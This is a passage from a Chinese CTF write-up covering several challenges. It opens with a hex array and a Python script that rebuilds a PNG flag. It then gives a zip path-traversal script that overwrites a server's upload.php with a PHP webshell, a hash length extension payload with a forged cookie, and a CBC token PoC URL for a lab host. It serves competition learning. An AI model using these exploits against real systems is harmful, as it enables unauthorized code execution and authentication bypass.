,'30','06','5E','7B','15','EA','50','7C','AA','F9','A4','1B','21','29','3B','FC','76','F4','25','7C','C6','C0','38','3D','07','14','E1','19','BD','63','70','E3','D6','36','98','C1','C6','73','0F','06','03','88','45','21','38','97','00','48','78','79','4C','75','7D','CA','E7','00','2F','8B','6C','C8','A3','1B','11','32','2B','5B','DD','32','7C','3E','B2','4A','E0','05','46','BE','05','17','DD','43','FF','5A','C8','A2','73','93','C7','BF','25','51','BB','B5','6A','7A','2E','83','D9','1B','45','48','15','E9','F0','7B','06','19','33','AB','05','8F','08','20','B6','27','7E','30','C3','B5','EA','86','AB','80','12','93','4F','56','7B','6C','3B','AE','E3','1C','42','16','A6','AC','9E','69','F1','10','C1','5E','C9','EE','05','6F','AA','F2','B6','8B','EF','1B','D3','38','C8','B4','A2','66','EE','FB','9A','36','B0','85','98','6C','21','01','C0','42','04','CF','6B','61','F1','25','BE','C8','09','F4','3D','CC','E5','34','D3','2A','DE','6A','C2','22','2C','42','A3','98','66','A6','D9','22','F8','F5','8E','86','80','4A','8F','EC','10','02','86','A5','FA','A7','42','35','B9','6E','27','9B','D9','21','57','C2','56','77','69','A4','9B','6F','25','51','3D','3E','98','3E','55','B6','DE','66','39','20','EF','6C','B5','91','F9','D1','B4','04','BA','AF','A5','81','DB','BE','17','14','0D','CA','66','FF','B0','1F','DB','87','3D','96','63','B1','20','5D','4E','C9','42','5E','22','8D','63','BC','98','28','23','D8','67','53','22','9B','04','30','61','2B','BB','48','EC','ED','D4','63','92','60','E0','C4','17','B1','EE','E6','BA','8F','C9','8E','C8','FE','D2','D7','4D','78','3F','D1','53','D2','F3','11','5F','EF','E8','D4','7F','66','5E','A7','6A','49','EC','E1','69','64','BC','79','B8','1D','9B','99','35','90','86','86','18','14','E4','85','68','F5','BD','55','47','9D','51','D1','62','80','A3','73','BB','09','E7','1D','63','D2','8B','31','31','CF','36','23','46','2C','CB','8F','0A','72','B5','D4','B7','94','DB','F9','6C','D0','63','1F','31','EC','C7','88','0E','F6','F3','7A','8D','D4','B5','7E','68','10','5B','10','DC','2E','51','16','43','B1','FA','A6','A5','A3','CF','B1','55','F7','C7','06','B4','F5','B0','29','BB','03','7D','87','7B','BC','5C','7B','D2','9C','C0','37','EF','9F','3D','E9','AE','5F','3F','41','EB','E9','D3','B0','2A','6D','29','B6','60','44','20','7E','2A','44','DB','0D','15','51','5A','00','9D','0C','A9','6F','9C','D5','E4','DD','26','98','BB','5D','8E','6D','F3','44','68','28','AC','03','B0','C3','DB','82','41','82','EE','C1','EE','A7','48','1D','CB','A0','F5','8E','95','70','B3','14','67','1E','A2','AD','2D','DB','6D','17','83','73','95','DB','8D','6C','AB','26','EF','22','03','44','EB','E7','6E','6D','D2','05','1C','90','78','9A','65','C5','93','E7','57','D3','EB','71','D5','21','51','04','1F','D7','9C','06','69','0E','EF','3A','B0','69','76','5C','99','10','D2','5E','3C','A8','D2','B0','AF','DE','28','DC','6C','F9','D4','05','DB','84','2D','6A','13','51','B6','BD','30','41','AC','58','F4','2C','0B','72','2C','46','61','E1','F1','39','8C','DA','AA','88','8E','D0','2E','8A','F3','64','61','0F','C1','F6','6B','BB','29','5C','AF','A6','3A','27','83','CC','53','89','32','99','B2','66','65','9B','AB','2B','B4','4D','14','47','42','F0','BE','F0','28','81','88','F3','35','68','FA','F6','61','40','3E','8C','9F','0D','F0','D7','25','C4','23','E2','93','D8','41','CB','B3','D6','4B','20','6D','97','B5','04','98','18','88','0E','FC','74','90','93','FA','18','BD','BE','A7','CF','0F','27','E9','C2','52','96','5E','E6','76','B8','F0','9D','43','B6','CC','4E','90','C6','84','8F','34','78','3C','1F','A8','8C','0E','80','E0','7A','1C','82','38','3A','25','04','B9','4C','C4','A0','8E','AF','B0','55','7C','97','B4','60','8E','AD','60','E7','56','66','81','66','AD','D0','96','87','A8','6F','05','B5','CB','B3','CE','1E','3D','9F','CA','DC','DB','BB','B6','A2','0A','90','43','EA','A1','8B','EE','4B','BA','66','F9','28','62','CC','3F','BD','36','B1','BF','91','BF','04','07','64','E9','98','AD','D8','69','EF','91','B2','09','31','5E','16','7B','72','5F','97','FB','BA','88','DB','83','AC','5B','59','BB','8E','C2','AE','72','21','07','6B','51','1F','E4','B3','85','59','41','F8','4F','5F','17','A3','F6','0A','D2','89','F2','7A','6A','2C','0B','C7','97','5F','C6','2D','5F','1A','09','13','5F','5B','FE','A1','A5','E2','24','34','24','03','55','13','3D','06','E3','6A','44','E9','84','16','AE','F7','1D','68','EF','15','A2','10','BE','73','FC','C4','72','BD','85','C9','61','6F','78','85','C9','D3','D2','00','3C','DB','73','10','85','4B','6D','48','42','D9','21','5B','98','21','32','10','20','08','64','84','6D','62','85','C9','42','83','21','92','10','B6','88','16','26','08','0C','84','48','42','D9','21','5B','98','21','32','10','20','08','64','84','6D','62','85','C9','42','C2','1F','01','C8','00','44','82']Str = []
for i in range(len(myStr1)): Str.append(myStr1[i]) Str.append(myStr2[i]) Str.append(myStr3[i]) Str.append(myStr4[i])print('Str=',Str)

得到png 图片上就是flag

铁人三项CTF题目WP


疯狂getshell

铁人三项CTF题目WP


import zipfile# the name of the zip file to generatezf = zipfile.ZipFile('out.zip', 'w')# the name of the malicious file that will overwrite the origial file (must exist on disk)fname = '1.php'#destination path of the filezf.write(fname, '../www/html/upload.php')

铁人三项CTF题目WP


铁人三项CTF题目WP


hashattack

铁人三项CTF题目WP


git泄露拿到源码

getflag.php

铁人三项CTF题目WP

已知key的长度为32,我们的目的是在user字符串中加入root

采用哈希长度拓展攻击

服务器算出的原始hash值,正好与我们添加扩展字符串并覆盖初始链变量所计算出来的一样。这是因为攻击者的哈希计算过程,相当于从服务器计算过程的一半紧接着进行下去。提交此hash值便能通过验证了,这就是所谓的哈希长度拓展攻击(Hash Length Extension Attacks)。

使用工具hashpump进行计算

铁人三项CTF题目WP



最终poc如下

user=guest%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%28%01%00%00%00%00%00%00rootcookie:verify=dca0083ab43d715a2eb8be1949b77469

铁人三项CTF题目WP

CBC

代码如下

铁人三项CTF题目WP

token是用账户密码加密的
token再aes加密

根据页面提示管理员为admin:admin123

进行加密

铁人三项CTF题目WP

poc如下

http://172.31.0.215:10001/?username=admin&password=admin123&base64_cipher=idVegWpPAM8A414waIjDKaDwt2sWh6kgAT6l66NRnpiLZ0F6td1wjl9Y38usfWuS


特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月12日08:23:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  铁人三项CTF题目WP https://cn-sec.com/archives/1512521.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: